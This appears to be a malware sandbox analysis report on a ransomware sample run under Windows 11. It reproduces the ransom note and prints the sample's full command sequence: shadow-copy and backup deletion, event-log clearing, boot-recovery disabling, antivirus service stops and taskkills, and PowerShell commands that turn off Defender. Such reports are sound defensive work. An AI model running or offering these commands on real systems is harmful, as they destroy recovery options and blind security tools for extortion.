Overview

overview

10

Static

static

10

2025-11-12...ch.exe

windows10-2004-x64

10

2025-11-12...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    102s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/11/2025, 01:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2025-11-12_af906777fcd0a77642eccb906abe2b66_cobalt-strike_coinminer_elex_frostygoop_gcleaner_glassworm_sliver_snatch.exe
  • Size 2.4MB
  • Sample251112-cb2f9sfk2t
  • SHA256 a4012358b18920f29509210e1262f744bdbc8c4534b77d09c6898564d3269d00
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
defense_evasiondiscoveryexecutionransomware

Malware Config

Extracted

Path

  • C:\Program Files\Common Files\System\Ole DB\en-US\README_TO_DECRYPT.txt

Ransom Note
  • Your network has been compromised! All your important data has been encrypted! There is only one way to get your data back to normal: 1. Contact us as soon as possible to avoid damages and losses from your business. 2. Send to us any encrypted file of your choice and your personal key. 3. We will decrypt 1 file for test (maximum file size = 1 MB), its guaranteed that we can decrypt your files. 4. Pay the amount required in order to restore your network back to normal. 5. We will then send you our software to decrypt and will guide you through the whole restoration of your network. We prefer Monero (XMR) - FIXED PRICE We accept Bitcoin (BTC) - 20% extra of total payment! ============================================================================================================================ WARNING! Do not rename encrypted data. Do not try to decrypt using third party software, it may cause permanent data loss not being able to recover. ============================================================================================================================ Contact information: In order to contact us, download with the following software: https://qtox.github.io or https://tox.chat/download.html Then just add us in TOX: D27A7B3711CD1442A8FAC19BB5780FF291101F6286A62AD21E5F7F08BD5F5F1B9803AAC6ECF9 If there is any problems setting up TOX then just write to us at the following mail, it will only apply for problems setting up TOX and contacting us through TOX: [email protected] ============================================================================================================================ Your personal id: 5253413d62646666316237316165626463623239303561656339646362373735336561613a336262373335363035636566663839366465646463636563323630363036653831636265323332393333343131396438393764616665643165306666626361336438373564623337303664336631376531363334393861663136386135386661316364633831363138386465323837633938306330323539646431383935626432633961323438376331643566636436613533666135376432626163366631653963396462643061343333323733333433653438346666393135326636626635656332366564306334613630663564636561613861626264383965383664386138393039383433633433323633316434626566346365633066303533306139363365346261623239383661353866396262663464343734623463376564666239616263303332633662663934666562643364396331396266346365646232393665653730326663633537663864663138613665653538353232643431363863346231656362366433323439323063333366663334373063663064376334323539333764363665326137613364333135363030383463306265366264343037383363646137353131333933373732643765343035303438386562356432376334303930613330323739396436353138343961363464373762306666323665316439363534303035306265303139626366633438383231376166343230626537343935646563376339386361346433306534326239303830393438343961383833326466643362653432656662383663633037663363623733363465366238313130643031306163646266386666333061623333313835306231313436303037376239396434313338333936636265653861356162383037653236393031346134313865646563626133643130616330333430653862313865346361366365376664313538613765333234623639623831646330666466613833333432376432333536383432663430316433363335343538623738323934646164666436373635613165393737313335316164336566383661323961623830363139363433306238656566323666393336316239313062666362663232616435383265343839646535396161313830636666376230313062336664306165343231353966646366626463336232333133643332393535383931373965363532616632626565353633316461336336333366373066346639313436626431336238666230313939386265373462653232376362626133616233373133613838363662636465393161363436363164376162336436333235333238353662616364356634356561623864383037343664643733623638323731303865383663646466303031383633373531346264323961366266306261666263383964313161666138323363383664313a31316265356362333131326436306332306239373138323332323363646464396131613237336134663436363231353061333239363362653834373633353335363531336435356363363734623930313537623333373830303834323237373963316332316436636534653335663437653131373932393634333730666537366265663036336639326361633133393761383632356234646632323336663263663534383732656634616165663065393231373137633139636634333231313435663266633361306439653763653838336566653435646333376533323433383461346462653639333438343763646465666566653261353433323236376536663464383337313034353532646530623764666465313832396530363964373362663235313534323839303233613564643631653136643236333631363634313538353530346331373764333530343430386262393431363566323636653737353765656636383062343135363765376265623966633739323861666633383430303163303763336532626337393632353733396639333731333238333364323738353135363663383132653265393634353235666332356536356132313734616438303335343462656132316638306561313563666530363536313663393837333232656130333164386339383562643930383634663065346437653032613634633061623836643764623530623366343739313137323364346239636533353937313461303665396661313761356136613032326136656465656364666464373062636133363235386130363365386362656239613266393562303738393664343934303337336339356362333134363137643030396433373663363462366332643565633863306536346338363434646432396430656664346339323164663837386237633136623031343832353962306365373336663162616365346236396632623438613766653034373139353464646464616162653238633466643763383230316162393032303933386538613763313531353763663636653662656434313865633530326633363732363864303930393636666135666663363665643161613863653664633030663336376264616633323762353963343665633065633735623435333938633563333139323662363661613764623632386433303939326232313565383264356537336362393635316434363530373731363062313564383738356264313630386263343234646163393531306466306233323566636366323362303561663734376465613263326563313364653866623637333866376162306630333438623830343235386166633132646535393462613734643836383063303131323466663739323563636536303235356436353364
URLs

  • https://qtox.github.io

  • https://tox.chat/download.html

Signatures

  • Clears Windows event logs 1 TTPs 2 IoCs
    defense_evasionransomware
  • Renames multiple (3163) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 20 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 13 IoCs
    defense_evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-11-12_af906777fcd0a77642eccb906abe2b66_cobalt-strike_coinminer_elex_frostygoop_gcleaner_glassworm_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-11-12_af906777fcd0a77642eccb906abe2b66_cobalt-strike_coinminer_elex_frostygoop_gcleaner_glassworm_sliver_snatch.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5872
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "cmd.exe /c vssadmin delete shadows /all /quiet"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5592
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c vssadmin delete shadows /all /quiet
        3⤵
          PID:1296
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c "cmd.exe /c wevtutil cl application"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c wevtutil cl application
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1644
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil cl application
            4⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:5236
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c "cmd.exe /c wbadmin delete catalog -quiet"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2728
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c wbadmin delete catalog -quiet
          3⤵
            PID:3152
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "cmd.exe /c bcdedit /set {default} recoveryenabled No"
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5536
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c bcdedit /set {default} recoveryenabled No
            3⤵
              PID:2440
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:736
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1164
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "cmd.exe /c wevtutil cl security"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3336
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c wevtutil cl security
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3888
              • C:\Windows\SysWOW64\wevtutil.exe
                wevtutil cl security
                4⤵
                • Clears Windows event logs
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:2716
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2428
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
              3⤵
              • System Location Discovery: System Language Discovery
              PID:5372
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3144
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
              3⤵
              • System Location Discovery: System Language Discovery
              PID:5144
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "net stop Avast Antivirus!"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3088
            • C:\Windows\SysWOW64\net.exe
              net stop Avast Antivirus!
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2132
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop Avast Antivirus!
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3860
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "net stop TMResponse"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4588
            • C:\Windows\SysWOW64\net.exe
              net stop TMResponse
              3⤵
                PID:4712
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop TMResponse
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:5076
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c "net stop AOTAgentSvc"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:5760
              • C:\Windows\SysWOW64\net.exe
                net stop AOTAgentSvc
                3⤵
                • System Location Discovery: System Language Discovery
                PID:3172
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop AOTAgentSvc
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:4740
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c "net stop TMBMServer"
              2⤵
                PID:4792
                • C:\Windows\SysWOW64\net.exe
                  net stop TMBMServer
                  3⤵
                    PID:4760
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop TMBMServer
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:4852
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c "net stop iVPAgent"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:4864
                  • C:\Windows\SysWOW64\net.exe
                    net stop iVPAgent
                    3⤵
                      PID:5064
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop iVPAgent
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:5060
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /c "net stop Trend Micro"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5068
                    • C:\Windows\SysWOW64\net.exe
                      net stop Trend Micro
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2284
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop Trend Micro
                        4⤵
                          PID:4764
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c "net stop Web Service Communicator"
                      2⤵
                        PID:3800
                        • C:\Windows\SysWOW64\net.exe
                          net stop Web Service Communicator
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:4800
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop Web Service Communicator
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:856
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c "net stop Tmccst"
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1556
                        • C:\Windows\SysWOW64\net.exe
                          net stop Tmccst
                          3⤵
                            PID:4436
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop Tmccst
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:640
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c "net stop Tmlisten"
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:5168
                          • C:\Windows\SysWOW64\net.exe
                            net stop Tmlisten
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:3156
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop Tmlisten
                              4⤵
                                PID:4620
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c "net stop Ntrtscan"
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1540
                            • C:\Windows\SysWOW64\net.exe
                              net stop Ntrtscan
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:3612
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop Ntrtscan
                                4⤵
                                  PID:4232
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c "net stop TmWSCSvc"
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:5572
                              • C:\Windows\SysWOW64\net.exe
                                net stop TmWSCSvc
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:5468
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop TmWSCSvc
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3356
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c "taskkill /f /im AOTAgent.exe"
                              2⤵
                                PID:5000
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /im AOTAgent.exe
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5096
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c "taskkill /f /im CETASvc.exe"
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3832
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /im CETASvc.exe
                                  3⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2736
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c "taskkill /f /im iVPAgent.exe"
                                2⤵
                                  PID:3540
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im iVPAgent.exe
                                    3⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2384
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "taskkill /f /im tmwscsvc.exe"
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3816
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im tmwscsvc.exe
                                    3⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3556
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "taskkill /f /im ResponseService.exe"
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2836
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im ResponseService.exe
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1512
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "taskkill /f /im PccNTMon.exe"
                                  2⤵
                                    PID:3656
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /f /im PccNTMon.exe
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4148
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c "taskkill /f /im SupportConnector.exe"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1940
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /f /im SupportConnector.exe
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2220
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c "taskkill /f /im vastsvc.exe"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1980
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /f /im vastsvc.exe
                                      3⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4564
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c "taskkill /f /im avgsvc.exe"
                                    2⤵
                                      PID:5316
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im avgsvc.exe
                                        3⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5936
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c "taskkill /f /im NortonSecurity.exe"
                                      2⤵
                                        PID:2356
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im NortonSecurity.exe
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5376
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /c "taskkill /f /im McAfeeFramework.exe"
                                        2⤵
                                          PID:3124
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /f /im McAfeeFramework.exe
                                            3⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5932
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "taskkill /f /im KasperskyService.exe"
                                          2⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:6116
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /f /im KasperskyService.exe
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:944
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "taskkill /f /im SophosSAU.exe"
                                          2⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:2200
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /f /im SophosSAU.exe
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3136
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:948
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3056
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:3768
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2840
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:1568
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5272
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:3732
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1044
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:1456
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3628
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:3596
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5608
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:4056
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4728
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:3788
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:408
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:4996
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3528
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c "powershell.exe -ep bypass -c Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue"
                                          2⤵
                                          • Hide Artifacts: Ignore Process Interrupts
                                          • System Location Discovery: System Language Discovery
                                          PID:3752
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ep bypass -c Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Hide Artifacts: Ignore Process Interrupts
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2740

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            README_TO_DECRYPT.txt
                                            • Path C:\Program Files\Common Files\System\Ole DB\en-US\README_TO_DECRYPT.txt
                                            • Size 5KB
                                            • SHA256 cc3c282430a47865a3939940f5f0de745d33acd066887db3d0b5a3cd22c20792
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            win32_LinkNoDrop32x32.gif
                                            • Path C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif
                                            • Size 153B
                                            • SHA256 5f5077ef52bd220376606d1e961cb9dd45a3e7603a9255ee7adbf3da7c8eb72d
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            COPYRIGHT
                                            • Path C:\Program Files\Java\jre-1.8\COPYRIGHT
                                            • Size 3KB
                                            • SHA256 382a53a99658ca39b47498eb0589989cde83d59c12f5d1c84d65828c5799097d
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            LICENSE
                                            • Path C:\Program Files\Java\jre-1.8\LICENSE
                                            • Size 44B
                                            • SHA256 14c9e119a466e9563f1b588231e83da750861530534d75dc542546a16fed624c
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            THIRDPARTYLICENSEREADME-JAVAFX.txt
                                            • Path C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt
                                            • Size 190B
                                            • SHA256 916a06d53a295a3e652a870798dbbe0015fbdc37ef5110742f6778d1ac545606
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            THIRDPARTYLICENSEREADME.txt
                                            • Path C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt
                                            • Size 190B
                                            • SHA256 be56d6ad6670770721c7fb00ae007ea233bb97b38c314d0133025dba004db8c9
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            directshow.md
                                            • Path C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md
                                            • Size 1KB
                                            • SHA256 7211569dc74895670d836bead704d84659175b94163ce5b12c3c3e04711afbc3
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            glib.md
                                            • Path C:\Program Files\Java\jre-1.8\legal\javafx\glib.md
                                            • Size 31KB
                                            • SHA256 6f2c792bf3e0db73567fcaf769ceaf0d4c4a07a57f32a8ddbc98f795e95c3718
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            gstreamer.md
                                            • Path C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md
                                            • Size 34KB
                                            • SHA256 86c460e11d5ec426d55d978328d30e206d846798a9df1609a92074250f522b13
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            icu_web.md
                                            • Path C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md
                                            • Size 23KB
                                            • SHA256 3fcf691e48d60a9594d42c508c4e1103b5ecce7811f39c83385107451d8cd1b6
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            jpeg_fx.md
                                            • Path C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md
